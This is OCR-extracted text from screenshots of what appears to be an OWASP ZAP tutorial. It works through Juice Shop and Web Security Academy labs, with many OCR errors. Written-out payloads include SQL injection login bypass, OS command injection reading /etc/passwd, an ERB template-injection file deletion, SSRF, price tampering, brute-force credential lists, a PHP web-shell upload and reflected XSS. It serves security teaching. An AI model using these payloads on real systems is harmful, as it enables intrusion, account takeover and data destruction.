Initiators: Applies to all initiators

Enable: v

Save Cancel

Home | Ad$in panel | My account
OWASP ZAP - OWASP ZAP 2.111

2 Vel F @ X@mi-me @ @

Set break on all requests and responses F




OWASP ZAP - OWASP ZAP 2.111

2 Vel b @ %@ Hoee @l

4

, 7 Quick Start = Request ¢ Response 3 Break ==

Method v Header: Text v Body: Text v =] @ |

POST http://localhost:3000/api/Users/ HTTP/1.1

Host: localhost:3000

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10.15; rv:103.0) Gecko/20100107
Firefox/103.0

Accept: application/json, text/plain, */x*

Accept-Language: en-US,en;q=0.5

Content-Type: application/json

Content-Length: 257

Origin: https://localhost:3000

Coannartinns linan ~liun

{ :"victom@email.com", :“attackerbemail.com", :'""Password@",
:"Password@", i 11, :
"Your eldest siblings middle name?", :"2022-07-27T21:38:23.1102",
1"'2022-07-27T721:38:23.1102"}, :"name"}

OWASP ZAP - OWASP ZAP 2.111

2 Vel @ K@ Eoe g ]

4

, # Quick Start ~ =» Request = Response J¢ Break =

Header: Text v  Body: Text ¥ = @ £

HTTP/1.1 201 Created
Access—Control-Allow-0Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self’

Location: /api/Users/21

Content-Type: application/json; charset=utf-8
Content-Length: 309

ETag W/"135- 0EGV31Gkb11PKJOmheHquH51y8"

{ :'"'success", i { HE "customer", HE
:"0.0.0.0", "/assets/publlcllmages/uploads/default svg",
:true, :21, :"attacker@email.com"
"2022-07-27T21:47:10.876Z2", 1"'2022-07- 27T21 47:10. 8762" tnull}

}



0
Q@ Account W Your Basket

attacker@email.com

Orders & Payment »

Privacy & Security »

Logout




Apple Juice (1000ml)

The all-time classic.

1.990

Reviews (1)

admin@juice-sh.op
One of my favorites!




Header: Text ~  Body: Text v| | B @ o

Attack >
POST http://10.88.88.95:3000/rest/user/login HTTP/1.1 Include in Context >
Host: 10.88.88.95:3000 .
User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10.15; rv:102 Include Site bn Context >
Firefox/102.0 Run application >
Accept: application/json, text/plain, */* Flag as Context >

Accept-Language: en-US,en;q=0.5
. Content-Type: application/json

" Content-Length: 44

Origin: https://10.88.88.95:3000

Connectinn: keen-alive

Open/Resend with Request Editor...

R ey T "k} Exclude from >
a m1n@]u1ce-s «0p, pa Ve ) Show in Sites Tab
Open URL in System Browser
Copy URLs to Clipboard
Manage History Tags...
Note...
. Delete ®
3 # WebSockets < Break...
{ New Alert...
Alerts for This Node >
Method URL Code Reason RTT Size Resp. Body Highe  Generate Anti-CSRF Test FORM
ey R ——— v S St vl imsokecwitis it
| GET http://10.88.88.95:3000/rest/admin/applic... 304 Not Modi... 4... 0 bytes " Med ;
| GET  http://10.88.88.95:3000/rest/user/whoami 200 OK 5. 11 bytes foMed  Addto ZestScript >
- htso. /710 22 20 Oc. aclsbaanai 7... 11 bytes v Med Compare 2 Requests
POST 1... 26 bytes ™ Med Compare 2 Responses
i ety s 3. 1,987 bytes R Med Include Channel URL in Context
| GET http://10.88.88.95:3000/runtime.js 200 OK 3... 3,228 bytes v Med «clude Ch | ¢
! GET  http://10.88.88.95:3000/polyfills.js 200 OK 3.. 54,560 bytes M Med Exclude Channel URL from Context
L ] [ ] Manual Request Editor

Request  Response

Method ~  Header: Text ~  Body: Text viiED @e@eaddE=Eme Send

POST http://10.88.88.95:3000/rest/user/login HTTP/1.1

Host: 10.88.88.95:3000

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S5 X 10.15; rv:102.0) Gecko/20100101 Firefox/102.90
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Content-Type: application/json

Content-Length: 44

Origin: https://10.88.88.95:3000

Connection: keep-alive

Referer: https://10.88.88.95:3000/

Cookie: languag 3 welc b r_status=dismiss; cookieconsent_status=dismiss; continueCode=
vedVjY71zXw8MRKneB3gxPk2gyd1lwtbT3@DavNopEV1054 r6mWQIbLIZ3QqR

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

{"emai I:“admin@juice—sh.np' OR 1=1 ——"I ‘password":"k"}

Time: Body Length: Total Length:



[ XN Manual Request Editor

Request  Response
| Header: Text ~ | Body: Text ~ | | [ | Send
IHTTPII.I 200 0K l
- =Rclow-0rigin: =*

X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self’

Content-Type: application/json; charset=utf-8
Content-Length: 834

ETag: W/"342-2g2Bvq8cEASgvdseBUeNFHtOWDA"
Vary: Accept-Encoding

Date: Wed, 27 Jul 2022 ©3:29:33 GMT
Connection: keep-alive

Keep-Alive: timeout=5

“"authentication":{"token":

"eyl@eXAi0iJKV1QiLCIhbGci01iJSUzIINiJ9.eylzdGFOdXMi0iJzdWNjZXNzIiwiZGFOYSI6eylpZCI6MSwidXN1lcmShb
0iIilLCI1bWFpbCI6ImFkbWluQGplawWN1LXNoLmOwIiwicGFzc3dvemQiOiIwMTkyMDIzYTdiYmQ3MzI1IMDUXNmYwNj LkZjE4YY
UwMCIsInJvbGUi0iJhZG1pbiIsImR1bHV4ZVRva2VuljoiliwibGFzdExvZ21uSXAi0iJ1bmR1ZmluZWQiLCIwecm9mawx LSW
Z2Ui0iJhc3N1dHMvcHVibGljL21tYWdlcy91cGxvYWRZL2R1ZmF1bHRBZG1pbiSwbmcilCI@b3RwU2VjcmVOIjoiliwiaXNBY:
RpdmUiOnRydWUsImNyZWF@ZWRBACI6Ij IwMjItMDctMjcgMDEGMTY6M)j cuOTABICSwMDowMCIsInVwZGFOZWRBACIGI j IwMj
JMDctMj cgMDE6Mzg6MjUuNzg4ICswMDowMCIsImR1bGV@ZWRBACI6bnVsbHOSImLhdCIBGMTY10Dg5Mj USNCwiZXhwIjoxNju4
EwNTc@fQ.yzSzbGNWSyGM41y1qEzCyTD207bKMazzs5BHMcC7dazsaFDX2G8 LhKMr4F@FilHC-20d8dD1tIRgg68RO1FnSy]
_fxbkmtzsLDRqVIWfpINBTjX3rGQ1GOr6353Ko1_UJuawB6K8LMUfAeAda3c26RbRxhouRj3XaZwXqIATK","bid":1,
"umail":"admin@juice-sh.op"}}




admin@juice-sh.op’' OR 1=1 --

Password *

Forgot your password?

] Log in

[] Remember me

Not yet a customer?
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My Account

Your username is: wiener

Email

Update email

Avatar:

ﬁ Choose File }ln file chosen
-

Upload

v g [ https://0ada005b04387590c0ef578700bc000a.web-security-academy.net
|@| P GET:/
@] 4% GET:academylabHeader

I _T__ W S .
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OS command injection
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- 0S command injection, simple case »

London

v Check stock

“ History “Search [WAlerts & WebSockets # Spider ) ActiveScan
History ’}{; Filter: OFF & Export
Id Source Reg. Timestamp Method URL Code Re:
1 #* Proxy v M GET https://0aa60054033d4841c03c790a002e005d.web-security-academy.net/product?productid=2 200 OK
3 =+ Proxy GET https://0aa60054033d4841c03c790a002e005d.web-security-academy.net/academyLabHeader 101 Swi
4 =+ Proxy RQS 022600540 484120 902002200 Gl dam pzad 2
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Proxy

https://0aa60054033d4841c03¢790a002e005d.web-security-academy.net/product/stock




@ ] Manual Request Editor

Request Response

Method  ~ Header: Text ~  Body: Text v| | [=l @ @e0GgEEme Send

POST https://0aa60054033d4841c03c790a002e005d.web-security-academy.net/product/stock HTTP/1.1
Host: 0aa60054033d4841c03c790a002e005d.web-security-academy.net

Connection: keep-alive

Content-Length: 21

sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"
sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@_15_7) AppleWebKit/537.36 (KHTML, like Gecko
) Chrome/104.0.0.0 Safari/537.36

sec-ch-ua-platform: "mac0S"

Content-Type: application/x-www-form-urlencoded

Accept: *x/*

Origin: https://0aa60054033d4841c03c790a002e005d.web-security-academy.net

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

broductld:ZhstoreId:l|pwd

® [=) Manual Request Editor

Request Response

Method Header: Text v Body: Text viiiEl D @e@enloEE @ e Send

POST https://0aa2001303f04861c0157bd700a10001.web-security-academy.net/product/stock HTTP/1.1
Host: 0aa2001303f04861c0157bd700a10001.web-security-academy.net

Connection: keep-alive

Content-Length: 49

sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"
sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko
) Chrome/104.0.0.0 Safari/537.36

sec-ch-ua-platform: "mac0S"

Content-Type: application/x-www-form-urlencoded

Accept: */*

Origin: https://0aa2001303f04861c0157bd700a10001.web-security-academy.net

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

kroduct1d=1:store1d=l|cat > CommandInjection.txt I

)] ® Manual Request Editor
Request  Response

Method v | Header: Text v~ Body: Text v | | (=] @ @OGEHE D e Send

POST https://0aa2001303f04861c0157bd700a10001.web-security-academy.net/product/stock HTTP/1.1
Host: 0aa2001303f04861c0157bd700a10001.web-security-academy.net

Connection: keep-alive

Content-Length: 25

sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"
sec-ch-ua-mobile: 70

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko
) Chrome/104.0.0.0 Safari/537.36

sec-ch-ua-platform: "“mac0S"

Content-Type: application/x-www-form-urlencoded

Accept: */%

Origin: https://0aa2001303f04861c0157bd700a10001.web-security-academy.net

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Productld:l.store1d=1|ls I




Manual Request Editor

Request  Response

Header: Text ~ Body: Text ~ | | ||

HTTP/1.1 200 0K

Content-Type: text/plain; charset=utf-8
Connection: close

Content-Length: 36

CommandInjection.txt

stockreport.sh

Remote OS Command Injection

URL: https://0ac600ad04404a47c28041dc00e8004f.web-security-academy.net/product/stock
Risk: # High
Confidence: Medium
arameter: areid
Attack: 1&cat [etc/passwd&

viaence: root:x:0:0

CWE ID: 78

WASCID: 31

Source: Active (90020 - Remote OS Command Injection)
Description:

Attack technique used for unauthorized execution of operating system commands. This attack is possible
when an application accepts untrusted input to build operating system commands in an insecure manner
involving improper data sanitization, and/or improper calling of external programs.

Other Info:

GET

https://@adc@@s4@83bbcadiclef@ldfaasleedl .web-security-academy.net .."Pmessagf_':Un-Fur"tunatel
y%28this®¥20product®20is%20out¥280f%28stock HTTP/1.1
Host: @adce@sd83bbcadsclef@ldfea31889]1 . web-security-academy.net

Internal Server Error

Jusr/lib/ruby/2 7 0/erb rb-80%in "eval" (erb) 1: syntax error, unexpected '), expecting '=' (SyntaxError) _erbout = +"; _erbout <<(( * ) to_s); _erbout * from /usr/lib
fruby/2 7 Oferb.rb:905:in “result’ from -e:4:in *<main>"'
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&) Encode/Decode/Hash - O *
Textto be encodedidecodedhashed:

=B=system("rm /home/carlos/morale ") %4

i . | Reset
Encode Decode Hash llegal UTF& Unicode

Base64 Encode

PCUSIHM5C3RIbSgicmOgL2hvbWUVY 2Fyb GOzl 2vemFsZ550eHQIKSAIPg==

Basebd4 URL Encode

PCUSIHM5Cc3RIbSgicmOgLZhvbWIUVY 2Fyb GOzl 2vemFsZ550eHQIKSAIPg==

URL Encode

%%3C%25%3D+system%28%22rm+%2Fhome%2Fcarlos%2Fmorale tit%22%29+%25%3E

Full URL Encode

%%3C%25%30%20%73%79%7 3% 74%65%6D%28%22% 7 2% 6D %20%2F%68%6F %60 %65%2F%63%6 1% 72%6C %A% 7 3% 2F %60 %6F

Y 72%61%6C%E65%2E%74%78%74%22%29%20%25%3E
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n Manual Request Editor

Request  Response

Method w || Header: Text ~ || Body: Text ~| =] @ | & 2 0 G E B IO @

POST https://@aBcBB5384ac59Fcc24cBcdd@@daBess . web-security-academy.net/product/stock HTTP/1.1

Host: @a@cees3edacS9fcc24cBcdd@@dalBBs . web-security-academy .net

User-Agent: Mozilla/5.@ (Windows NT 18.8; Wing4; x64; rv:187.8) Gecko/20188181 Firefox/187.8

Accept: */%*
Accept-Language: en-US,en;q=8.5

Referer: https://8aBc@d538dac59Fcc24cBcdd@Bdad@as.web-security-academy.net/product ?productId=1

Content-Type: application/x-www-form-urlencoded
Content-Length: 184

Origin: https://@adce@538dac5ifcc24c@cdd@ddadas . web-security-academy . net

Connection: keep-alive

Cookie: session=HIMkRxSIP3AaDbcOx]35rcsAoFRmWWEL
Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-5ite: same-origin

Send

EtockApi=http%3A%2F%2F192.168.0.1%3AB080%2Fadmin®2Fprofuct®2Fstock¥%2Fcheck%3FproductId%3D1%26storeld®3D2

i’Fuzer X
Fuzz Locations Options Message Processors
Header. Text ~ || Body: Text ~ | [2] [ Edit Fuzz Locations:
POST L.~ Value #of . #of . B Add...
https://@a@c@a5384ac5o9Fcc24clcdd@Bdadees . web- security-academy.net/produc TEmmE
t/stock HTTP/1.1 =
Host: 8aBc®B@538dac59Ffcc24cbcddeddaddds . web-security-academy.net
User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64; rv:187.8) Gecko/ Payloads...
28188181 Firefox/187.8
Accept: */%
Accept-Llanguage: en-US,en;g=8.5 FlEEELE
Referer:
https://8alBc@B5384ac59Fcc24cBcdd@Bdad@ss . web-security-academy . net/produc
t2?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
Origin:
stockApi=
http%3A%2F%2F192.168.9.1F3A8080%2Fadmin%2Fproduct%2Fstock%2Fcheck%BFproduc
tIda3D1%26storeld®3D2
Remove Without Confirmation
(] Start Fuzzer Reset Cancel




Q Fuzzer

Fuzz Locations Options Message Processors

Header Text ~ | Body:Text ~ | [ | [C] Edit

POST
https://@a69885584F44cF2c263c1188e7BB5F . web- security-academy .net/produc
t/stock HTTR/1.1

Host: 8ae9885584f44cf2c263c161le8e7@B5F . web-security-academy . .net
User-Agent: Mozilla/5.@ (Windows NT 18.8; Win64; x64; rv:187.8) Gecko/
28180181 Firefox/187.8

Accepk: #/*

Accept-Language: en-US,en;g=8.5

Referer:

https:/ /8269885584 Ff44cF2c263c1l6180e7B05F . web- security-academy . net/produc
t?productId=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 96

Origin:

stockApi=

http%3A%2F§2F192.168.8

26storeld®x3Dl

ABBBO%2Fproduct®2Fstock%2Fcheck®3FproductId%3D1%

Fuzz Locations:

| Bod.. 1

L.~ Value #of .

254

#

of ...
1]

Add
izl Add...

Remove

Payloads...
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Remave Without Confirmation

(]

N

Start Fuzzer |

Reset Cancel
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| Ll o | | Edit
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Chapter 8: Business Logic Testing

Store credit:
$100.00

Jcart

" Not enough store credit for this purchase

Name Price Quantity
Lightweight "133t" Leather Jacket $1337.00 .1°
&) Manual Request Editor - O *

Request Response

Method » | | Header: Text ~ | | Body: Text ~ | | =l (=] | & 20 &G = = mm e Send

POST https://@ad2e03ae44d6eldc@77ad400098082]1 .web-security-academy.net/cart HTTP/1.1

Host: ©ad29@3a@44dbeldcd@77as49@09308021 . web-security-academy.net

User-Agent: Mozilla/5.® (Windows NT 18.8; Winbd; x64; rv:185.8) Gecko/20188181 Firefox/185.8
Accept: text/html,applications/xhtml+xml,application/uml;q=8.9,image/avif,image/webp,*/*;0=08.8
Accept-Language: en-US,en;q=8.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 47

Origin: https://@ad2@83a@44dpelIcB7 7884900980021 . .web-security-academy.net

DNT: 1

Connection: keep-alive

Referer: https://@ad2083a844d6el9c@d77ad490a038002]1 . web-security-academy.net/product ?productId=1
Cookie: session=adHkyIB8t2UFfpOPFRQlalffbOBcKy3sb3

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-5ite: same-origin

Sec-Fetch-User: 21

EE

productId=1%redir=PRODUCTZquantity=12price=1768



Cart

Name Price  Quantity

Lightweight "|33t" Leather Jacket $17.00 .1°

Coupon:
%

Apply

Total: $17.00

Place order

Store credit:
$83.00

Your order is on its way!

Name Price Quantity

Lightweight "I33t" Leather Jacket $1337.00 1

Total: $17.00

You have made too many incorrect login attempts. Please try again in 30 minute(s).

Username

Password

GET https://0a97001c040eb29ac04a9ccd00bd00bc.web-security-academy.net/academy... 101 Switchi...
POST https://0a97001c040eb29ac04a9ccd00bd00bc.web-security-academy.net/login 200 OK
GET https://0a97001c040eb29ac04a9ccd00bd00bc.web-security-academy.net/academy... 101 Switchi...



@ ® Manual Request Editor

Request  Response

Method  ~ Header: Text ~  Body: Text v | | =] = @20 G EEDe Send

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko
) Chrome/106.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp, image/apng,*/
*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: https://0a2200ef03339a05c0d91a43009000eb.web-security-academy.net/login

Accept-Language: en-US,en;q=0.9

Snailiod i GltaaMu7eaEvTyj1lvvFVnLnldTcLCw3PO

X-Forwarded-For: 10;1

username=admin:password=admin

OWASP ZAP - OWASP ZAP 2.111

Vel )oK E-me e

& Manage Add-ons - O X

Installed  Marketplace

Add-ons
Filter; community

Status -~ Name Description Update el

Community Scripts Useful ZAP scripts written by the ZAP community.




@ Sites I L Scripts # x I

& a4

v L, Scripting
v L Scripts
A Active Rules
/=~ Authentication
"+ Encode/Decode
& Extender
4 Fuzzer HTTP Processor
w% add_msgs_sites_tree.js
% addCacheBusting.js
% FuzzerStopOnStatusCode.js

& random_x_forwarded_fog in i
% randomUserAgent.js Enable Script(s)

% showDifferences.js Remove Script

% unexpected_responses.j Dubli .
. uplicate Script ...
4 Fuzzer WebSocket Processc P ) P
» 7% HTTP Sender ad Save Script ...
> @ HUD

Accept-Language: en-US,en;q=0.9
Cookie: session=v21pd6knKy9E7AnqvAzbUQSUBZ6YFYJIX
x-forwarded-for: 100

"

v

{ VvV Vv

username=admin’ password=
thezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezapli
fethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezap
lifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplife

Fuzzer

Fuzz Locations  Options Message Processors

# Name Description =

1 Request Content-Length Updater Updates the Content-Length of the req... Modify...
2 Payload Reflection Detector Detect payloads reflected in response Remove
Top
Up
® @® Add Message Processor Down
Type: Fuzzer HTTP Processor (Script) v Bottom

IScript: random_x_forwarded_for_ip.js VI




Add Payload

Type: Strings

Contents:

Multiline:

©

carlos
root

admin

test

guest

info

adm

mysql

user
administrator
oracle

ftp

pi

puppet
ansible
ec2-user
vagrant
azureuser
academico
acceso
access
accounting
accounts
acid
activestat

il Save...



[ ] [ ] Fuzzer

Fuzz Locations  Options  Message Processors

Header: Text “ Body: Text ~ [ | [ | Fuzz Locations:

signed-exchange;v=b3;q=0.9 L..~ Value #of ... #of P..® Add...
Sec-Fetch-Site: same-origin Remove
Sec-Fetch-Mode: navigate I Bod... ad.. 101 0
Sec-Fetch-User: 71 Pavload
Sec-Fetch-Dest: document ayloads...
Referer:

https://0a4500d4032f145bc0f43482009400a6.web-security-academ Processors...
y.net/login

Accept-Language: en-US,en;q=0.9
Cookie: session=QbTAFQojyDZ2tItrHiPNlepD3gcjDOla
x-forwarded-for: 100

username={llll password=

thezaplifethezaplifethezaplifethezaplifethezaplifethezaplifet
hezaplifethezaplifethezaplifethezaplifethezaplifethezaplifeth
ezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethe

zaplifethezaplife
/| Remove Without Confirmation
[*] Start Fuzzer Reset Cancel
Code Reason RTT Size Resp. Header Size Resp. Body Highest Alert State Payloads

200 OK 1.71s 187 bytes 2,885 bytes activestat
200 OK 1.11s 187 bytes 2,885 bytes carlos
200 OK 1.1s 187 bytes 2,885 bytes test
200 OK I1s 187 bytes 2,885 bytes guest
200 OK 11 187 bytes 2,885 bytes admin

Sec-Fetch-Dest: document

Referer: https://0a7100f404a26e65c0bf9db700f7000d.web-security-academy.net/login
Accept-Language: en-US,en;q=0.9

Cookie: session=BNdDKrCYIA3NCBihkIVdjmXbTyXSCkZr

x-forwarder-for: 100

usernnelactivestat |password=
thezapli thezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifeth
fethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethezaplife



Type: Strings

Contents:

Multiline:

<

123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
shadow
master
666666
gwertyuiop
123321
mustang
1234567890
michael
654321

ki Save...

Add Payload

Cancel

Add



[ N Fuzzer

Fuzz Locations  Options  Message Processors

Header: Text ~ Body:Text ~ | | [] Fuzz Locations:

POST L. ~ Value #of ... #of P...[® Add...
https://0a57005803085b9cc@12b@bd@0990@3b.web-security-academ Bod... the... 100 0 Remove
y.net/login HTTP/1.1

Host: 0a57005803085b9cc012b8bd@099003b.web-security-academy. Payloads...
net

Connection: keep-alive

Content-Length: 313

Cache-Control: max-age=0

sec—ch-ua: "Chromium";v="106", "Google Chrome";v="106", "Not
;A=Brand" ; v="99"

sec-ch-ua-mobile: 7@

sec-ch-ua-platform: "mac0S"

Upgrade-Insecure-Requests: 1

username=user.password=
thezaplifethezaplifethezaplifethezaplifethezaplifethezaplifet
hezaplifethezaplifethezaplifethezaplifethezaplifethezaplifeth
ezaplifethezaplifethezaplifethezaplifethezaplifethezaplifethe
zaplifethezaplifethezaplifethezaplifethezaplifethezaplifethez
aplifethezaplifethezaplifethezaplifethezaplife

Processors...

Remove Without Confirmation

-

Code Reason RTT Size Resp. Header Size Resp. Body Highest Alert State Payloads
302 Found 547 ms 170 bytes 0 bytes montana
200 OK 2.02s 100 bytes 2,885 bytes  Medium
200 OK 143s 187 bytes 2,885 bytes soccer
200 OK 1.05s 187 bytes 2,885 bytes 123456
200 OK 1.01s 187 bytes 2,885 bytes 123456789

Congratulations, you solved the lab! W Share your

My Account

Your username is: activestat

Your email is: activestat@activestat.net

Email

Update email



Request Response

Method ~ | | Header: Text v || Body: Text v | [E] = | @ @06 = = o e Send

GET
https://Bacl@@3484eba2B6c@5c@15708248823 . web-security-academy.net/cart/order-confirmation?order-confirmed=
true HTTP/1.1

Host: @aelP@3484eba2B6c05c@15700240023 . web-security-academy.net

User-Agent: Mozilla/5.® (Windows NT 10.8; Winé4; x64; rv:185.8) Gecko/28188181 Firefox/185.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=8.5

Referer: https://@sel@@34084ebal8hcPScAl5TE0240023 . .web-security-academy.net/cart

DNT: 1

Cannection: keep-alive

Cookie: session=5kWz9cWclVaad72DiyRXvtkTDgqoAUFuc

Upgrade-Insecure-Reguests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

<
>

wE

47 Quick Stat  =» Request 4= Response 9F

Header: Text ~ | Body: Text A |:| |:|

HTTP/1.1 288 QK

Content-Type: text/html; charset=utf-8
Connection: close

Content-Length: 5744

FEE

FImeEaueT -~
<pr{strong:xYour order is on its way!</strongs</p>
<tablex
<thody>
E <tr>
<th>Name</th:
<thx>Price</th>
<th>Quantity</th>
<th></th>
</tr>
<tr»
<td>
<a href=/product?productId=1>Lightweight &quot;133t
&quot; Leather Jacketd/a>
</td>
<td>$1337.00</td>
<td>
1

| Browse... | No file selected.

Upload

Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file.

€ Back to My Account




Request Response

Method ~ | | Header: Text ~ | | Body: Text ~| | =] = | & 2 0 & = = 0 @ Send

POST https://@ab7002f9468b3321cebd349300b8001d.web-security-academy.net/my-account/avatar HTTP/1.1
Host: @ab7@82+f248b9321caba349308b30ALd . web-security-academy.net

User-Agent: Mozilla/5.8 (Windows NT 18.8; Wing4; x64; rv:185.8) Gecko/28188181 Firefox/1085.8
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/avif,image/webp,*/*;q=08.8
Accept-Language: en-US,en;qg=8.5

Caontent-Type: multipart/form-data; boundary=-----------------—-—-—------ 24327458312239516275348488637
Content-Length: 552

Origin: https://Pab7@82f848b9321c0b@349380080A1d.Wweb-security-academy.net

DNT: 1

Cannection: keep-alive

Referer: https://@ab78@82f848b9321cPbd349300b30A1d. web-security-academy.net/my-account

Cookie: session=6d9FtEyh38cRhLIELloGBKSVNCMEGWIGIO

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

----------------------------- 24327450312230516275340408637
Content-Disposition: form-data; name="avatar"; Filename="explnit.php!ﬂﬂ.jpgﬂ
Content-Type: application/octet-stream

<2php
Request Response

Header Text | Body Text ~ | | =] (= Send

HTTP/1.1 288 QK

Date: Wed, 82 Nov 2822 85:85:54 GMT

Server: Apaches/2.4.41 (Ubuntu)

Vary: Accept-Encoding

Cantent-Encoding: gzip

Keep-Alive: timeout=5, max=188

Connection: close -

The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previcus page":E
Back to My Account</ax</p>

a Manual Request Editor

Request Response

Header: Text -~ || Body: Text ~ |:| |:|

HTTP/1.1 288 OK

Date: Wed, 82 Nov 2822 85:24:41 aQMT
server: Apaches/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-&
Connection: close

Content-Length: 32




Chapter 9: Client-Side Testing

0 search results for 'wazzaipdsja

< Back to Bl

0O Inspector Jebugger T4 Network f_} Style Editor m Perf

searchTerms=warzaipdsja™

@ 0ad2007d0461897cc0ee52ab0059008f web-security-academy.net

£

4| Reflected XSS into a JavaScric X ar

c & 0a2f0019038f2384c0acd05f004900e4.web-security-academy.net

Web Securlty Reflected XSS into a JavaScript string with angle brackets

HTML encoded
Academy %]

Back to lab description »

Home

®
o]
=

@
=}

WE LIKE TO -

BLOG —

Zap is amazing!| | m

OJ

o) (<)

J w..w;

_ g

)

)|



@ Sites
g ¥ https://0a2f0019038f2384c0acd05f004900e4.web-security-academy.ne

|| P GET:/

B ™ GET:/(search)

] 7 £¥ GET:academyLabHeader
| | GET:favicon.ico

| image

I resources

| | U GET:robots.txt
&) ® Manual Request Editor

Request  Response

Method v Header: Text v Body: Text v | | (=] =] @0 T EE T e Send

GET
https://0a2f0019038f2384c0acd05f004900e4.web—-security—academy.net/?search=Zap+is+amazing%21%21
HTTP/1.1

Host: 0a2f0019038f2384c0acd05f004900e4.web-security—-academy.net
Connection: keep-alive

sec—-ch-ua: "Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"

sec-ch-ua-mobile: 70

sec-ch-ua-platform: "macO0S"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/107.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp, image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 7?1

Time: 0 ms Body Length: 0 Total Length: 0 bytes



[ N ) Manual Request Editor

Request  Response

) Method ¥ | Header: Text ¥ Body: Text - = O @ @0 aE=Emae Send
GET https://Ba2fBGlQG38f2384cﬂacd05fﬂﬂ490@e4.web—security—academy.net/?search{'—alert(1)—'|HTTP/
1.1

Host: 0a2f@019038f2384cPacd@5f004900e4.web-security-academy.net

Connection: keep-alive

sec—-ch-ua: "Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
sec—-ch-ua-mobile: 70

sec-ch-ua-platform: "macO0S"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/107.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

_Sec-Fetch-Dest: document

G S S——

‘.Time: 0 ms Body Length: 0 Total Length: 0 bytes
</form>
</section>
<script>
var searchTerms = ''-alert(1)-"";
document.write('<img src="/resources/images/tracker.gif?searchTerms="+
encodeURIComponent(searchTerms)+'">");
</script>
<section class=blog-list>

@ 0a53001b04f25026c0a30 11600b5 . web-security-academy.net




GET

net

https://oauth-8adfead983cbed28cBE51F2a0824bB838 . web-security-academ
yv.netfauth?client_id=q3rljdj2srnzodollnkvx&redirect_uri=https://8@a
Odee7al32eedd7cBBB1Fa700ba@eET .web-security-academy. ne‘tF oauth-call
back&response_type=code&scope=openid®%2@profile®2@email HTTP/1.1

Host: oauth-8adf@edia83ched?Bc@es1F2a024b8830. web-security-academy.

User-Agent: Mozilla/s5.@ (Windows NT 18.8; Wingd; x64; rv:187.8)
Gecko/20198101 Firefox/187.8
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,
image/avif, image/webp,*/*;q=0.8

Q Manual Request Editor

— O x
Request

Method ~ | | Header: Text v || Body: Text ~ | =] = | & @O0 @G ==l e Send
GET

https://oauth-8a4f@8d983cbed28cBE51F2a824bBB38 . web- security-academy.net/auth?client_id=g3rlj4j2srnzodollnkyvx
